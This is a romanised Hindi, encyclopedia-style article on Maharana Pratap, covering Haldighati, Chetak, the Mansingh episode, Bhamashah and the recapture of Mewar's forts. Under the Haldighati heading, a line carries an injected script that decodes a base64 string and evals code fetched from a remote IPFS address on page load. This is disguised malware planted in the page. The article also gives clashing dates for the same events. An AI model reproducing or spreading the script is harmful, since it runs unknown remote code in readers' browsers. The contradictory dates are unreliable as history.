paye.

vanavas

maharana pratap chittau d chho dakar vanavasi ho ge. maharani, sukumar rajakumari aur kumar ghas ki rotiyoan aur nirjhar ke jal par hi kisi prakar jivan vyatit karane ko badhy hue. aravali ki gufaean hi ab unaka avas thian aur shila hi shaiyya thi. dilli ka samrat sadar senapatitv dene ko prastut tha. usase bhi adhik vah keval yah chahata tha ki pratap mugaloan ki adhinata svikar kar lean aur usaka dambh saphal ho jay. hiandutv par 'din-e-ilahi' svayan vijayi ho jata. pratap rajapoot ki an ka vah samrat, hiandutv ka vah gaurav-soory is sankat, tyag, tap mean amlan raha, adiang raha. dharm ke liye, an ke liye yah tapasya akalpit hai. kahate haian maharana ne akabar ko ek bar sandhi-patr bheja tha, par itihasakar ise saty nahian manate. yah abul fazal ki matr ek gadhi huee kahani bhar hai. akalpit sahayata mili, meva d ke gaurav bhamashah ne maharana ke charanoan mean apani samast sampatti rakh di. maharana is prachur sampatti se pun: sainy-sangathan mean lag gaye. chittau d ko chho dakar maharana ne apane samast durgoan ka shatru se uddhar kar liya. udayapur unaki rajadhani bana. apane 24 varshoan ke shasan kal mean unhoanne meva d ki kesariya pataka sada ooanchi rakhi.

parakrami chetak

maharana pratap ka sabase priy gho da 'chetak' tha. haldighati ke yuddh mean bina kisi sahayak ke pratap apane parakrami chetak par savar ho paha d ki or chal pade‌. usake pichhe do mugal sainik lage hue the, parantu chetak ne pratap ko bacha liya. raste mean ek paha di nala bah raha tha. ghayal chetak phurti se use laangh gaya, parantu mugal use par n kar paye. chetak, nala to laangh gaya, par ab usaki gati dhire-dhire kam hoti gee aur pichhe se mugaloan ke gho doan ki tapean bhi sunaee p dian. usi samay pratap ko apani matribhasha mean avaz sunaee p di, "ho, nila gho da ra asavar." pratap ne pichhe mu dakar dekha to use ek hi ashvarohi dikhaee p da aur vah tha, usaka bhaee shaktisianh. pratap ke sath vyaktigat virodh ne use deshadrohi banakar akabar ka sevak bana diya tha aur yuddhasthal par vah mugal paksh ki taraf se l d raha tha. jab usane nile gho de ko bina kisi sevak ke paha d ki taraf jate hue dekha to vah bhi chupachap usake pichhe chal p da, parantu keval donoan mugaloan ko yamalok pahuanchane ke lie.

shaktisianh dvara rana pratap ki suraksha

jivan mean pahali bar donoan bhaee prem ke sath gale mile. is bich chetak zamin par gir p da aur jab pratap usaki kathi ko kholakar apane bhaee dvara prastut gho de par rakh raha tha, chetak ne pran tyag die. bad mean us sthan par ek chabootara kh da kiya gaya, jo aj tak us sthan ko iangit karata hai, jahaan par chetak mara tha. pratap ko vida karake shaktisianh khurasani sainik ke gho de par savar hokar vapas laut aya. salim ko us par kuchh sandeh paida hua. jab shaktisianh ne kaha ki pratap ne n keval pichha karane vale donoan mugal sainikoan ko mar dala apitu mera gho da bhi chhin liya. isalie mujhe khurasani sainik ke gho de par savar hokar ana p da. salim ne vachan diya ki agar tum saty bat kah doge to maian tumhean kshama kar dooanga. tab shaktisianh ne kaha, "mere bhaee ke kandhoan par meva d rajy ka bojha hai. is sankat ke samay usaki sahayata kie bina maian kaise rah sakata tha." salim ne apana vachan nibhaya, parantu shaktisianh ko apani seva se hata diya. rana pratap ki seva mean pahuanchakar use achchhi nazar bheant ki ja sake, is dhyey se usane bhinasor namak durg par akraman kar use jit liya. udayapur pahuanchakar us durg ko bheant mean dete hue shaktisianh ne pratap ka abhivadan kiya. pratap ne prasann hokar vah durg shaktisianh ko puraskar mean de diya. yah durg lambe samay tak usake vanshajoan ke adhikar mean bana raha.[5] sanvat 1632 (julaee, 1576 ee.) ke savan mas ki saptami ka din meva d ke itihas mean sada smaraniy rahega. us din meva d ke achchhe rudhir ne haldighati ko siancha tha. pratap ke atyant nikatavarti paanch sau kutumbi aur sambandhi, gvaliyar ka bhootapoorv raja ramashah aur sadhe tin sau tomar viroan ke sath ramashah ka beta khanderav mara gaya. svamibhakt jhala mannaji apane dedh sau saradaroan sahit mara gaya aur meva d ke pratyek ghar ne balidan kiya.

maharana ki pratijna

pratap ko abhootapoorv samarthan mila. yadyapi dhan aur ujjval bhavishy ne usake saradaroan ko kafi pralobhan diya, parantu kisi ne bhi usaka sath nahian chho da. jayamal ke putroan ne usake kary ke liye apana rakt bahaya. patta ke vanshadharoan ne bhi aisa hi kiya aur saloombar ke kul valoan ne bhi choonda ki svamibhakti ko jivit rakha. inaki virata aur svarth-tyag ka vrittant meva d ke itihas mean atyant gauravamay samajha jata hai. usane pratijna ki thi ki vah 'mata ke pavitr doodh ko kabhi kalankit nahian karega.' is pratijna ka palan usane poori tarah se kiya. kabhi maidani pradeshoan par dhava marakar jan-sthanoan ko uja dana to kabhi ek parvat se doosare parvat par bhagana aur is vipatti kal mean apane parivar ka parvatiy kandamool-phal dvara bharan-poshan karana aur apane putr 'amar' ka jangali janavaroan aur jangali logoan ke madhy palan karana, atyant kashtapray kary tha. in sabake pichhe mool mantr yahi tha ki bappa raval ka vanshaj kisi shatru athava deshadrohi ke sammukh shish jhukaye, yah asambhav bat thi. qayaroan ke yogy is papamay vichar se hi pratap ka hriday tuk de-tuk de ho jata tha. tatar valoan ko apani bahan-beti samarpan kar anugrah prapt karana, pratap ko kisi bhi dasha mean svikary n tha. 'chittau d ke uddhar se poorv patr mean bhojan, shaiyya par shayan donoan mere liye varjit raheange.' maharana ki pratijna akshunn rahi aur jab ve (vikram sanvat 1653 magh shukl 11) tarikh 29 janavari san 1597 ee. mean paramadham ki yatra karane lage, unake parijanoan aur samantoan ne vahi pratijna karake unhean ashvast kiya. aravali ke kan-kan mean maharana ka jivan-charitr aankit hai. shatabdiyoan tak patitoan, paradhinoan aur utpi ditoan ke liye vah prakash ka kam dega. chittau d ki us pavitr bhoomi mean yugoan tak manav svarajy evan svadharm ka amar sandesh jhankrit hota rahega.

maee eh da poot jan, jeh da ran pratap.
akabar sooto odhakai, jan siranai sap॥

kathor jivan nirvah

chittau d ke vidhvans aur usaki din dasha ko dekhakar bhatt kaviyoan ne usako abhooshan rahit vidhava stri ki upama di hai. pratap ne apani janmabhoomi ki is dasha ko dekhakar sab prakar ke bhog-vilas ko tyag diya. bhojan-pan ke samay kam mean liye jane vale sone-chaandi ke bartanoan ko tyagakar vrikshoan ke pattoan ko kam mean liya jane laga. komal shayya ko chho d trin shayya ka upayog kiya jane laga. usane akele hi is kathin marg ko apanaya hi nahian apitu apane vansh valoan ke liye bhi is kathor niyam ka palan karane ke liye ajna di thi ki "jab tak chittau d ka uddhar n ho, tab tak sisodiya rajapootoan ko sabhi sukh tyag dene chahie." chittau d ki maujooda durdasha sabhi logoan ke hriday mean aankit ho jay, is drishti se usane yah adesh bhi diya ki yuddh ke liye prasthan karate samay jo naga de sena ke age-age bajaye jate the, ve ab sena ke pichhe bajaye jayean. is adesh ka palan aj tak kiya ja raha hai aur yuddh ke naga de sena ke pichhale bhag ke sath hi chalate haian.

rana saanga neta ke roop mean

pratap ko prayah yah kahate suna gaya ki "yadi udayasianh paida n hote athava sangram sianh aur unake bich mean koee sisodiya kul mean utpann n hota to koee bhi turk rajasthan par apana niyam lagoo n kar pata." sau varsh ke bich mean hindoo jati ka ek naya chitr dikhalaee deta hai. ganga aur yamuna ka madhyavarti desh apane vidhvans ko bhulakar ek navin bal se balavan hokar dhire-dhire apana mastak utha raha tha. amer aur marava d itane balavan ho gaye the ki akele marava d ne hi samrat sherashah ke viruddh sangharsh kiya tha aur chambal nadi ke donoan kinaroan par anek chhote-chhote rajy bal sangrah karake unnati ki or badh rahe the. kami thi to keval ek aise neta ki jo un sab shaktiyoan ko sangathit karake musalamanoan ki satta ko chhin sake. aisa neta unhean rana saanga ke roop mean mila tha. himalay se lekar rameshvar tak sab ne hi saanga ke gunoan ki prashansa ki thi. saanga ke svarg sidharane ke pashchat jatiy jivan dhire-dhire nasht hota gaya aur hindoo log apane paitrik rajy se hath dho baithe. yadi saanga ke pichhe udayasianh ka janm n hota athava akabar ki apeksha kam samarth vale muslim ke hath mean bharat ka shasan hota to bharat ki aisi durdasha kabhi n hoti. [[chitr:Maharana-Pratap-Statue.jpg|thumb|250px|left|maharana pratap ki pratima, udayapur]]

maharana dvara taiyar dhaancha

apane kuchh anubhavi aur buddhiman saradaroan ki sahayata se pratap ne simit sadhanoan aur samay ki avashyakata ko samajhate hue apani sarakar ka naya dhaancha nirmit kiya. avashyak sainik seva ki spasht vyakhya ke sath nee-nee jagirean pradan ki geean. sarakar ke maujooda kendr kamalamir ki suraksha ko mazaboot banaya gaya tatha gogunda aur any parvatiy durgoan ki marammat ki gee. meva d ke samatal maidan ki raksha karane mean asamarth pratap ne apane poorvajoan ki niti ka anusaran karate hue durgam paha di sthanoan mean apane morche qayam kie tatha maidani kshetroan ke logoan ko parivar sahit parvatoan mean ashray lene ko kaha gaya. aisa n karane valoan ko pranadand dene ki ghoshana ki gee. kuchh hi dinoan mean banas aur be das nadiyoan ke sianchit kshetr bhi soone ho gaye arthath "be-chirag" ho ge. pratap ne apani praja ko kathorata ke sath apane adeshoan ka palan karane ke lie vivash kar diya tha. usaki ajna ke phalasvaroop meva d ki sundar bhoomi shmashan ke saman ho gee aur us par yavanoan ke daant p dane ki koee ashanka n rahi. us samay yoorop ke sath mugaloan ka vyapar-vanijy meva d ke bhitar hokar soorat ya kisi aur bandaragah se hota tha. pratap tatha usake saradar avasar pakar us samast samagri ko lootane lage.

rana pratap aur akabar

ajamer ko apana kendr banakar akabar ne pratap ke viruddh sainik abhiyan shuroo kar diya. marava d ka maladev, jisane sherashah ka prabal virodh kiya tha, me data aur jodhapur mean asaphal pratirodh ke bad amer ke bhagavan das ke saman hi akabar ki sharan mean chala gaya.[6] usane apane putr udayasianh ko akabar ki seva mean bheja. akabar ne ajamer ki taraf jate hue nagaur mean usase mulaqat ki aur is avasar par mandaur ke rav ko 'raja' ki upadhi pradan ki.[7]usaka uttaradhikari udayasianh sthool sharir ka tha, atah age chalakar vah rajasthan ke itihas mean mota raja ke nam se vikhyat hua. is samay se kannauj ke vanshaj mugal badashah ke 'dahine hath' par sthan pane lage. parantu apani kul maryada ki bali dekar marava d naresh ne jis samman ko prapt kiya tha, vah samman kya marava d ke raja ke santan ki ooanche samman ki barabari kar sakata hai.

udayasianh dvara mugaloan se vivah sambandh

mota raja udayasianh pahala vyakti tha, jisane apani kul ki pahali kanya ka vivah tatar se kiya tha.[8] is sambandh ke lie jo ghoos li gee vah mahattvapoorn thi. use char samriddh paragane prapt hue. inaki salana amadani bis lakh rupaye thi. in paraganoan ke prapt ho jane se marava d rajy ki ay duguni ho gee. amer aur marava d jaise udaharanoan ki maujoodagi mean aur pralobhan ka virodh karane ki shakti ki kami ke karan, rajasthan ke chhote raja log apane asankhy parakrami saradaroan ke sath dilli ke samantoan mean parivartit ho ge aur is parivartan ke karan unamean se bahut se logoan ka mahattv bhi badh gaya. mugal itihasakaroan ne saty hi likha hai ki ve 'sianhasan ke stambh aur alankar ke svaroop the.' parantu uparyukt sabhi batean pratap ke viruddh bhayajanak thian. usake deshavasiyoan ke shastr ab usi ke viruddh uth rahe the. apani man-maryada bechane vale rajaoan se yah bat sahi nahian ja rahi thi ki pratap gaurav ke ooanche asaman par virajaman rahe. is bat ka vichar karake hi unake hriday mean dah ki prabal ag jalane lagi. pratap ne un samast rajaoan (booandi ke alava) se apana sambandh chho d diya, jo musalamanoan se mil ge the.

vaivahik sanbandhoan par rok

sisodiya vansh ke kisi shasak ne apani kanya mugaloan ko nahian di. itana hi nahian, unhoanne lambe samay tak un rajavanshoan ko bhi apani kanyaean nahian dian, jinhoanne mugaloan ke sath vaivahik sambandh qayam kiye the. isase un rajaoan ko kafi aghat pahuancha. isaki pushti marava d aur amer ke rajaoan, bakht sianh aur jayasianh ke putroan se hoti hai. donoan hi shasakoan ne meva d ke sisodiya vansh ke sath vaivahik sambandhoan ko punah sthapit karane ka anurodh kiya tha. lagabhag ek shatabdi ke bad unaka anurodh svikar kiya gaya aur vah bhi is shart ke sath ki meva d ki rajakanya ke garbh se utpann hone vala putr hi sambandhit raja ka uttaradhikari hoga. sisodiya gharane ne apane rakt ki pavitrata ko banaye rakhane ke lie jo qadam uthaye ge, unamean se ek ka ullekh karana avashyak hai, kyoanki us ghatana ne ane vali ghatanaoan ko kafi prabhavit kiya hai. amer ka raja manasianh apane vansh ka atyadhik prasiddh raja tha aur usake samay se hi usake rajy ki unnati arambh huee thi. akabar usaka phoofa tha. vaise manasianh ek sahasi, chatur aur ranavisharadh senanayak tha aur akabar ki saphalataoan mean adha yogadan bhi raha tha, parantu parivarik sambandh tatha akabar ki vishesh kripa se vah mugal samrajy ka mahattvapoorn senapit ban gaya tha. kachchhavah bhattakaviyoan ne usake shaury tatha usaki upalabdhiyoan ka tejasvini bhasha mean ullekh kiya hai.

haldighati yuddh

  1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

haldighati ka yuddh akabar aur maharana pratap ke bich hua. akabar ne sanh 1624 mean meva d par akraman kar chittau d ko gher liya par rana udayasianh ne usaki adhinata svikar nahian ki thi aur prachin adhatapur ke pas udayapur namak apani rajadhani basakar vahaan chala gaya tha. unake bad maharana pratap ne bhi yuddh jari rakha aur adhinata nahian mani thi. unaka haldighati ka yuddh itihas prasiddh hai. is yuddh ke bad pratap ki yuddh-niti chhapamar l daee ki rahi thi. akabar ne kumbhalamer durg se bhi pratap ko khade d diya tatha meva d par anek akraman karavaye the par pratap ne adhinata svikar nahian ki thi. aant mean sanh 1642 ke bad akabar ka dhyan doosare kamoan mean lage rahane ke karan pratap ne apane sthanoan par phir adhikar kar liya tha. sanh 1654 mean chavand mean unaki mrityu ho gee thi.

rana pratap ki manasianh se bheant

[[chitr:Chittorgarh-Fort.jpg|thumb|250px|chittau dagadh ka qila
Fort Of Chittorgarh]] sholapur ki vijay ke bad manasianh vapas hindustan laut raha tha to usane rana pratap se, jo in dinoan kamalamir mean tha, milane ki ichchha prakat ki. pratap usaka svagat karane ke lie udayasagar tak aya. is jhil ke samane vale tile par amer ke raja ke lie davat ki vyavastha ki gee thi. bhojan taiyar ho jane par manasianh ko bulava bheja gaya. rajakumar amarasianh ko atithi ki seva ke lie niyukt kiya gaya tha. rana pratap anupasthit the. manasianh ke poochhane par amarasianh ne bataya ki rana ko siradard hai, ve nahian a payeange. ap bhojan karake vishram karean. manasianh ne garv ke sath sammanit svar mean kaha ki "rana ji se kaho ki unake sir dard ka yatharth karan samajh gaya hooan. jo kuchh hona tha, vah to ho gaya aur usako sudharane ka koee upay nahian hai, phir bhi yadi ve mujhe khana nahian paroseange to aur kaun parosega." manasianh ne rana ke bina bhojan svikar nahian kiya. tab pratap ne use kahala bheja ki "jis rajapoot ne apani bahan turk ko di ho, usake sath kaun rajapoot bhojan karega."

raja manasianh ne is apaman ko ahoot karane mean buddhimata nahian dikhaee thi. yadi pratap ki taraf se use nimantrit kiya gaya hota, tab to usaka vichar uchit mana ja sakata tha, parantu isake lie pratap ko doshi nahian thaharaya ja sakata. manasianh ne bhojan ko chhua tak nahian, keval chaval ke kuchh kanoan ko jo ann devata ko arpan kie the, unhean apani pag di mean rakhakar vahaan se chala gaya. jate samay usane kaha, "apaki hi man-maryada bachane ke lie hamane apani maryada ko khokar mugaloan ko apani bahin-betiyaan dian. is par bhi jab ap mean aur ham mean vishamata rahi, to apaki sthiti mean bhi kami ayegi. yadi apaki ichchha sada hi vipatti mean rahane ki hai, to yah abhipray shighr hi poora hoga. yah desh hriday se apako dharan nahian karega." apane gho de par savar hokar manasianh ne rana pratap, jo is samay a pahuanche the, ko kathor drishti se niharate hue kaha, "yadi maian tumhara yah man choorn n kar dooan to mera nam manasianh nahian."

pratap ne uttar diya ki "apase milakar mujhe khushi hogi." vahaan par upasthit kisi vyakti ne abhadr bhasha mean kah diya ki "apane sath phoofa ko lana mat bhoolana." jis sthan par manasianh ke lie bhojan sajaya gaya tha, use apavitr hua manakar khod diya gaya aur phir vahaan ganga ka jal chhi daka gaya aur jin saradaroan evan rajapootoan ne apaman ka yah drishy dekha tha, un sabhi ne apane ko manasianh ka darshan karane se patit samajhakar snan kiya tatha vastradi badale.[9]mugal samrat ko sampoorn vrittant ki soochana di gee. usane manasianh ke apaman ko apana apaman samajha. akabar ne samajha tha ki rajapoot apane purane sanskaroan ko chho d baithe hoange, parantu yah usaki bhool thi. is apaman ka badala lene ke lie yuddh ki taiyari ki gee aur in yuddhoan ne pratap ka nam amar kar diya. pahala yuddh haldighati ke nam se prasiddh hai. jab tak meva d par kisi sisodiya ka adhikar rahega athava koee bhattakavi jivit rahega, tab tak haldighati ka nam koee bhula nahian sakega. [[chitr:Pratap-Singh-And-Chetak-Attacking-Man-Singh.jpg|thumb|300px|left|man sianh par hamala karate hue maharana pratap aur chetak]]

kamalamir ka yuddh

vijay se prasann salim paha diyoan se laut gaya, kyoanki varsha rritu ke agaman se age badhana sambhav n tha. isase pratap ko kuchh rahat mili. parantu kuchh samay bad shatru punah chadh aya aur pratap ko ek bar punah parajit hona p da. tab pratap ne kamalamir ko apana kendr banaya. mugal senanayakoan koka aur shahabaj khaan ne is sthan ko bhi gher liya. pratap ne jamakar muqabala kiya aur tab tak is sthan ko nahian chho da, jab tak pani ke vishal srot nogan ke kuane ka pani vishakt nahian kar diya gaya. aise ghrinit vishvasaghat ka shrey aboo ke dev da saradar ko jata hai, jo is samay akabar ke sath mila hua tha. kamalamir se pratap chavand chala gaya aur sonagare saradar bhan ne apani mrityu tak kamalamir ki raksha ki. kamalamir ke patan ke bad raja manasianh ne dharameti aur gogunda ke durgoan par bhi adhikar kar liya. isi avadhi mean mohabbat khaan ne udayapur par adhikar kar liya aur amishah namak ek mugal shahazada ne chavand aur aguna panor ke madhyavarti kshetr mean p dav dal kar yahaan ke bhiloan se pratap ko milane vali sahayata rok di. farid khaan namak ek any mugal senapati ne chhappan par akraman kiya aur dakshin ki taraf se chavand ko gher liya. is prakar pratap charoan taraf se shatruoan se ghir gaya aur bachane ki koee ummid n thi. vah rozana ek sthan se doosare sthan, ek paha di se doosari paha di ke gupt sthanoan mean chhipata rahata aur avasar milane par shatru par akraman karane se bhi n chookata. farid ne pratap ko pak dane ke lie charoan taraf apane sainikoan ka jal bichha diya, parantu pratap ki chhapamar paddhati ne asankhy mugal sainikoan ko maut ke ghat pahuancha diya. varsha rritu ne paha di nadiyoan aur naloan ko pani se bhar diya, jisaki vajah se ane jane ke marg avaruddh ho ge. parinamasvaroop mugaloan ke akraman sthagit ho ge.

parivar ki suraksha

is prakar samay guzarata gaya aur pratap ki kathinaiyaan bhayankar banati geean. parvat ke jitane bhi sthan pratap aur usake parivar ko ashray pradan kar sakate the, un sabhi par badashah ka adhikar ho gaya. rana ko apani chinta n thi, chinta thi to bas apane parivar ki or se chhote-chhote bachchoan ki. vah kisi bhi din shatru ke hath mean p d sakate the. ek din to usaka parivar shatruoan ke pannje mean pahuanch gaya tha, parantu kava ke svamibhakt bhiloan ne use bacha liya. bhil log rana ke bachchoan ko tokaroan mean chhipakar javara ki khanoan mean le gaye aur kee dinoan tak vahian par unaka palan-poshan kiya. bhil log svayan bhookhe rahakar bhi rana aur parivar ke lie khane ki samagri jutate rahate the. javara aur chavand ke ghane jangal ke vrikshoan par lohe ke b de-b de kile ab tak g de hue milate haian. in kiloan mean betoan ke b de-b de tokare taang kar unamean rana ke bachchoan ko chhipakar ve bhil rana ki sahayata karate the. isase bachche paha doan ke jangali janavaroan se bhi surakshit rahate the. is prakar ki visham paristhiti mean bhi pratap ka vishvas nahian diga.

akabar dvara prashansa

akabar ne bhi in samacharoan ko suna aur pata lagane ke lie apana ek guptachar bheja. vah kisi taraqib se us sthan par pahuanch gaya, jahaan rana aur usake saradar ek ghane jangal ke madhy ek vriksh ke niche ghas par baithe bhojan kar rahe the. khane mean jangali phal, pattiyaan aur j dean thian. parantu sabhi log us khane ko usi utsah ke sath kha rahe the, jis prakar koee rajabhavan mean bane bhojan ko prasannata aur umang ke sath khata ho. guptachar ne kisi chehare par udasi aur chinta nahian dekhi. usane vapas akar akabar ko poora vrittant sunaya. sunakar akabar ka hriday bhi pasij gaya aur pratap ke prati usamean manaviy bhavana jagrit huee. usane apane darabar ke anek saradaroan se pratap ke tap, tyag aur balidan ki prashansa ki. akabar ke vishvasapatr saradar abdurrahim khanakhana ne bhi akabar ke mukh se pratap ki prashansa suni thi. usane apani bhasha mean likha, "is sansar mean sabhi nashavan haian. rajy aur dhan kisi bhi samay nasht ho sakata hai, parantu mahan vyaktiyoan ki khyati kabhi nasht nahian ho sakati. puttoan ne dhan aur bhoomi ko chho d diya, parantu usane kabhi apana sir nahian jhukaya. hind ke rajaoan mean vahi ekamatr aisa raja hai, jisane apani jati ke gaurav ko banae rakha hai."

parantu kabhi-kabhi aise avasar a upasthit hote, jab apane pranoan se bhi pyare logoan ko bhayanak avaz se grast dekhakar vah bhayabhit ho uthata. usaki patni kisi paha di ya gufa mean bhi asurakshit thi aur usake uttaradhikari, jinhean har prakar ki suvidhaoan ka adhikar tha, bhookh se bilakhate usake pas akar rone lagate. mugal sainik is prakar usake pichhe p d ge the ki bhojan taiyar hone par kabhi-kabhi khane ka avasar n milata tha aur suraksha ke lie bhojan chho dakar bhagana p data tha. ek din to paanch bar bhojan pakaya gaya aur har bar bhojan ko chho dakar bhagana p da. ek avasar par pratap ki patni aur usaki putr-vadhu ne ghas ke bijoan ko pisakar kuchh rotiyaan banaee. unamean se adhi rotiyaan bachchoan ko de di gee aur bachi huee adhi rotiyaan doosare din ke lie rakh di geean. isi samay pratap ko apani l daki ki chillahat sunaee di. ek jangali billi l daki ke hath se usake hisse ki roti ko chhinakar bhag gee aur bhookh se vyakul l daki ke aansoo tapak aye.[10] jivan ki is duravastha ko dekhakar rana ka hriday ek bar vichalit ho utha. adhir hokar usane aise rajyadhikar ko dhikkara, jisaki vazah se jivan mean aise karun drishy dekhane p de aur usi avastha mean apani kathinaiyoan ko door karane ke lie usane ek patr ke dvara akabar se milane ki maang ki.

prithviraj dvara pratap ka svabhiman jagrat karana

pratap ke patr ko pakar akabar ki prasannata ki sima n rahi. usane isaka arth pratap ka atmasamarpan samajha aur usane kee prakar ke sarvajanik utsav kie. akabar ne us patr ko prithviraj namak ek shreshth evan svabhimani rajapoot ko dikhalaya. prithviraj bikaner ke naresh ka chhota bhaee tha. bikaner naresh ne mugal satta ke samane shish jhuka diya tha. prithviraj keval vir hi nahian apitu ek yogy kavi bhi tha. vah apani kavita se manushy ke hriday ko unmadit kar deta tha. vah sada se pratap ki aradhana karata aya tha. pratap ke patr ko padhakar usaka mastak chakarane laga. usake hriday mean bhishan pi da ki anubhooti huee. phir bhi apane manobhavoan par aankush rakhate hue usane akabar se kaha ki "yah patr pratap ka nahian hai. kisi shatru ne pratap ke yash ke sath yah jalasaz ki hai. apako bhi dhokha diya hai. apake taz ke badale mean bhi vah apaki adhinata svikar nahian karega." sachchaee ko janane ke lie usane akabar se anurodh kiya ki vah usaka patr pratap tak pahuancha de. akabar ne usaki bat man li aur prithviraj ne rajasthani shaili mean pratap ko ek patr likh bheja. akabar ne socha ki is patr se asaliyat ka pata chal jayega aur patr tha bhi aisa hi. parantu prithviraj ne us patr ke dvara pratap ko us svabhiman ka smaran karaya, jisaki khatir usane ab tak itani vipattiyoan ko sahan kiya tha aur apoorv tyag v balidan ke dvara apana mastak ooancha rakha tha. patr mean is bat ka bhi ullekh tha ki hamare gharoan ki striyoan ki maryada chhinn-bhinn ho gee hai aur bazar mean vah maryada bechi ja rahi hai. usaka kharidadar keval akabar hai. usane sisodiya vansh ke ek svabhimani putr ko chho dakar sabako kharid liya hai, parantu pratap ko nahian kharid paya hai. vah aisa rajapoot nahian, jo nauroja ke lie apani maryada ka parityag kar sakata hai. kya ab chittau d ka svabhiman bhi is bazar mean biqega.[11]

khusharoz tyohar

rathaur prithviraj ke ojasvi patr ne pratap ke man ki nirasha ko door kar diya aur use laga jaise das hazar rajapootoan ki shakti usake sharir mean sama gee ho. usane apane svabhiman ko qayam rakhane ka dridhasankalp kar liya. prithviraj ke patr mean "nauroja ke lie maryada ka sauda" karane ki bat kahi gee. isaka spashtikaran dena avashyak hai. 'nauroja' ka arth "varsh ka naya din" hota hai aur poorv ke musalamanoan ka yah dharmik tyohar hai. akabar ne svayan isaki pratishtha ki aur isaka nam rakha "khusharoz" arthath 'khushi ka din' aur isaki shuruat akabar ne hi ki thi. is avasar par sabhi log utsav manate aur rajadarabar mean bhi kee prakar ke ayojan kie jate the. is prakar ke ayojanoan mean ek pramukh ayojan striyoan ka mela tha. ek b de sthan par mele ka ayojan kiya jata tha, jisamean keval striyaan hi bhag leti thian. ve hi dukanean lagati thian aur ve hi kharidadari karati thian. purushoan ka pravesh nishiddh tha. rajapoot striyaan bhi dukanean lagati thian. akabar chhadm vesh mean bazar mean jata tha aur kaha jata hai ki kee sundar balaean usaki kamavasana ka shikar ho apani maryada luta baithatian. ek bar rathaur prithviraj ki stri bhi is mele mean shamil huee thi aur usane b de sahas tatha shaury ke sath apane satitv ki raksha ki thi. vah shaktavat vansh ki l daki thi. us mele mean ghoomate hue akabar ki nazar us par p di aur usaki sundarata se prabhavit hokar akabar ki niyat big d gee aur usane kisi upay se use mele se alag kar diya. prithviraj ki stri ne jab qamuk akabar ko apane sammukh paya to usane apane vastroan mean chhipi katar ko nikalakar kaha, "khabaradar, agar is prakar ki toone himmat ki. saugandh kha ki aj se kabhi kisi stri ke sath mean aisa vyavahar n karega." akabar ke kshama maangane ke bad prithviraj ki stri mele se chali gee. abul fazal ne is mele ke bare mean alag bat likhi hai. unake anusar badashah akabar vesh badalakar mele mean isalie jata tha ki use vastuoan ke bhav-tav maloom ho sakean.

bhamashah dvara pratap ki shaktiyaan jagrat hona

prithviraj ka patr padhane ke bad rana pratap ne apane svabhiman ki raksha karane ka nirnay kar liya. parantu maujooda paristhitiyoan mean parvatiy sthanoan mean rahate hue mugaloan ka pratirodh karana sambhav n tha. atah usane raktaranjit chittau d aur meva d ko chho dakar kisi dooravarti sthan par jane ka vichar kiya. usane taiyariyaan shuroo kian. sabhi saradar bhi usake sath chalane ko taiyar ho ge. chittau d ke uddhar ki asha ab unake hriday se jati rahi thi. atah pratap ne siandh nadi ke kinare par sthit sogadi rajy ki taraf badhane ki yojana banaee taki bich ka marusthal usake shatru ko usase door rakhe. aravali ko par kar jab pratap marusthal ke kinare pahuancha hi tha ki ek ashcharyajanak ghatana ne use punah vapas lautane ke lie vivash kar diya. meva d ke vriddh mantri bhamashah ne apane jivan mean kafi sampatti arjit ki thi. vah apani sampoorn sampatti ke sath pratap ki seva mean a upasthit hua aur usase meva d ke uddhar ki yachana ki. yah sampatti itani adhik thi ki usase varshoan tak 25,000 sainikoan ka kharcha poora kiya ja sakata tha.[12] bhamashah ka nam meva d ke uddharakartaoan ke roop mean aj bhi surakshit hai. bhamashah ke is apoorv tyag se pratap ki shaktiyaan phir se jagrit ho uthian.

durgoan par adhikar

thumb|300px|yuddhabhoomi par maharana pratap ke chetak (gho de) ki maut maharana pratap ne vapas akar rajapootoan ki ek achchhi sena bana li, jabaki usake shatruoan ko isaki bhanak bhi nahian mil paee. aise mean pratap ne mugal senapati shahabaz khaan ko devir namak sthan par achanak a ghera. mugaloan ne jamakar samana kiya, parantu ve parast hue. bahut se mugal mare ge aur baqi pas ki chhavani ki or bhage. rajapootoan ne amer tak unaka pichha kiya aur us mugal chhavani ke adhikaansh sainikoan ko bhi maut ke ghat utar diya gaya. isi samay kamalamir par akraman kiya gaya aur vahaan ka senanayak abdulla mara gaya aur durg par pratap ka adhikar ho gaya. tho de hi dinoan mean ek ke bad ek karake battis durgoan par adhikar kar liya gaya aur durgoan mean niyukt mugal sainikoan ko maut ke ghat utar diya gaya. sanvat 1586 (1530 ee.) mean chittau d, ajamer aur maandalagadh ko chho dakar sampoorn meva d par pratap ne apana punah adhikar jama liya.[13] raja manasianh ko usake deshadroh ka badala dene ke lie pratap ne amer rajy ke samriddh nagar malapura ko lootakar nasht kar diya. usake bad pratap udayapur ki taraf badha. mugal sena bina yuddh l de hi vahaan se chali gee aur udayapur par pratap ka adhikar ho gaya. akabar ne tho de samay ke lie yuddh band kar diya.

sampoorn jivan yuddh karake aur bhayanak kathinaiyoan ka samana karake pratap ne jis tarah se apana jivan vyatit kiya, usaki prashansa is sansar se mit n sakegi. parantu in sabake parinamasvaroop pratap mean samay se pahale hi budhapa a gaya. usane jo pratijna ki thi, use ant tak nibhaya. rajamahaloan ko chho dakar pratap ne pichhola talab ke nikat apane lie kuchh jhop diyaan banavaee thian taki varsha mean ashray liya ja sake. inhian jhop diyoan mean pratap ne saparivar sahit apana jivan vyatit kiya. ab jivan ka antim samay a pahuancha tha. pratap ne chittau d ke uddhar ki pratijna ki thi, parantu usamean saphalata n mili. phir bhi, usane apani tho di si sena ki sahayata se mugaloan ki vishal sena ko itana adhik pareshan kiya ki ant mean akabar ko yuddh band kar dena p da.

virata ke parichayak

